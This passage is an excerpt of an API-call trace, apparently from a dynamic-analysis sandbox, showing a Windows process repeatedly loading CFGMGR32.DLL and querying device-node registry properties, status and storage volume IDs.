(hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0212.222] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0212.222] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0212.222] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0212.222] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0212.222] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0212.222] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0212.223] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0212.223] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0212.223] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0212.223] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0212.223] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0212.223] malloc (_Size=0x18) returned 0x20abc281c00 [0212.223] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x33, ulProperty=0x5, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0212.224] malloc (_Size=0x48) returned 0x20abc27cb20 [0212.224] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x3a42cecc, dwHighDateTime=0x1d9eb0c)) [0212.224] SetEvent (hEvent=0x248) returned 1 [0212.230] malloc (_Size=0xd8) returned 0x20abc2867b0 [0212.230] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0212.230] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0212.231] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0212.231] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0212.231] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0212.231] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0212.231] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0212.231] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0212.231] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0212.232] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0212.232] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0212.232] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0212.232] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0212.232] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0212.232] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0212.232] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0212.233] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0212.233] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0212.233] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0212.233] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0212.234] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0212.234] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0212.234] malloc (_Size=0x18) returned 0x20abc281c80 [0212.234] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x33, ulProperty=0x1, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0212.237] malloc (_Size=0x48) returned 0x20abc27cb20 [0212.237] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x3a4531c3, dwHighDateTime=0x1d9eb0c)) [0212.237] SetEvent (hEvent=0x248) returned 1 [0212.241] malloc (_Size=0xd8) returned 0x20abc2867b0 [0212.241] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0212.241] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0212.241] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0212.242] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0212.242] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0212.242] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0212.242] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0212.242] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0212.242] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0212.242] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0212.243] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0212.243] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0212.243] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0212.243] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0212.243] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0212.243] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0212.243] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0212.243] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0212.244] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0212.244] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0212.244] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0212.244] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0212.244] malloc (_Size=0x18) returned 0x20abc281fe0 [0212.244] CM_Get_DevNode_Status (in: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0, dnDevInst=0x33, ulFlags=0x0 | out: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0) returned 0x0 [0212.245] malloc (_Size=0x48) returned 0x20abc27cb20 [0212.245] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd320 | out: lpSystemTimeAsFileTime=0x2dc22fd320*(dwLowDateTime=0x3a4531c3, dwHighDateTime=0x1d9eb0c)) [0212.245] SetEvent (hEvent=0x248) returned 1 [0212.250] malloc (_Size=0xd8) returned 0x20abc2867b0 [0212.250] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0212.251] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0212.251] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0212.251] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0212.251] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0212.251] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0212.251] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0212.251] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0212.252] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0212.252] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0212.252] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0212.252] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0212.252] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0212.252] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0212.252] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0212.252] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0212.253] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0212.253] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0212.253] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0212.253] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0212.253] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0212.253] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0212.253] malloc (_Size=0x18) returned 0x20abc281e60 [0212.254] CM_Get_First_Log_Conf (in: plcLogConf=0x2dc22fd3e8, dnDevInst=0x33, ulFlags=0x4 | out: plcLogConf=0x2dc22fd3e8) returned 0xe [0212.254] malloc (_Size=0x48) returned 0x20abc27cf80 [0212.254] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd340 | out: lpSystemTimeAsFileTime=0x2dc22fd340*(dwLowDateTime=0x3a479291, dwHighDateTime=0x1d9eb0c)) [0212.254] SetEvent (hEvent=0x248) returned 1 [0212.563] malloc (_Size=0xd8) returned 0x20abc2867b0 [0212.563] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0212.563] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0212.563] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0212.564] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0212.564] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0212.564] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0212.564] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0212.564] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0212.564] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0212.564] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0212.565] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0212.565] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0212.565] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0212.565] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0212.565] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0212.565] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0212.565] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0212.566] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0212.566] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0212.566] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0212.566] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0212.566] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0212.566] malloc (_Size=0x18) returned 0x20abc281e00 [0212.567] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x33, ulProperty=0xd, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0212.567] malloc (_Size=0x48) returned 0x20abc27cb20 [0212.567] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x3a77406f, dwHighDateTime=0x1d9eb0c)) [0212.567] SetEvent (hEvent=0x248) returned 1 [0212.571] malloc (_Size=0xd8) returned 0x20abc2867b0 [0212.571] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0212.572] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0212.572] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0212.572] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0212.572] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0212.572] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0212.572] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0212.573] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0212.573] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0212.573] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0212.573] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0212.573] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0212.573] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0212.573] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0212.573] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0212.574] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0212.574] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0212.574] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0212.574] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0212.574] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0212.574] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0212.574] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0212.575] malloc (_Size=0x18) returned 0x20abc281b60 [0212.575] CM_Get_Device_IDA (in: dnDevInst=0x34, Buffer=0x2dc22fd2e0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="STORAGE\\VOLUME\\{EBD0D398-C546-11EC-B0BF-806E6F6E6963}#0000000000100000") returned 0x0 [0212.575] malloc (_Size=0x48) returned 0x20abc27cb20 [0212.575] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd250 | out: lpSystemTimeAsFileTime=0x2dc22fd250*(dwLowDateTime=0x3a77406f, dwHighDateTime=0x1d9eb0c)) [0212.575] SetEvent (hEvent=0x248) returned 1 [0212.578] malloc (_Size=0xd8) returned 0x20abc2867b0 [0212.578] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0212.579] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0212.579] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0212.579] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0212.579] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0212.579] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0212.579] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0212.579] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0212.580] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0212.580] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0212.580] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0212.580] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0212.580] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0212.580] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0212.580] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0212.581] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0212.581] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0212.581] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0212.581] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0212.581] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0212.581] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0212.581] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0212.582] malloc (_Size=0x18) returned 0x20abc281a80 [0212.582] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x34, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0212.582] malloc (_Size=0x20) returned 0x20abc2a9d30 [0212.582] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x34, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x20abc2a9d30, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc2a9d30, pulLength=0x2dc22fd3f8) returned 0x0 [0212.583] free (_Block=0x20abc2a9d30) [0212.583] malloc (_Size=0x48) returned 0x20abc27cb20 [0212.583] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x3a79a394, dwHighDateTime=0x1d9eb0c)) [0212.583] SetEvent (hEvent=0x248) returned 1 [0212.587] malloc (_Size=0x18) returned 0x20abc281fe0 [0212.587] SafeArrayPutElement (psa=0x20abba7fe10, rgIndices=0x2dc22fd4c8, pv=0x20abc473c78) returned 0x0 [0212.587] free (_Block=0x20abc281fe0) [0212.587] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0c170 [0212.587] SafeArrayGetDim (psa=0x20abba7fe10) returned 0x1 [0212.587] SafeArrayGetLBound (in: psa=0x20abba7fe10, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0212.587] SafeArrayGetUBound (in: psa=0x20abba7fe10, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0212.587] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba798b0 [0212.587] SafeArrayGetDim (psa=0x20abba7fe10) returned 0x1 [0212.587] SafeArrayGetUBound (in: psa=0x20abba7fe10, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0212.587] SafeArrayGetElemsize (psa=0x20abba7fe10) returned 0x8 [0212.587] SafeArrayGetElement (in: psa=0x20abba7fe10, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0212.588] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abc402170, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0212.589] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba798b0) returned 1 [0212.589] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0c170) returned 1 [0212.590] malloc (_Size=0xd8) returned 0x20abc2867b0 [0212.590] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0212.590] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0212.590] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0212.590] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0212.590] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0212.591] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0212.591] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0212.591] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0212.591] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0212.591] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0212.591] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0212.591] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0212.592] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0212.592] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0212.592] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0212.592] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0212.592] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0212.593] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0212.593] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0212.593] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0212.593] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0212.593] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0212.593] malloc (_Size=0x18) returned 0x20abc281e00 [0212.594] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x34, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x25 [0212.594] malloc (_Size=0x48) returned 0x20abc27cb20 [0212.594] GetSystemTimeAsFileTime (in: 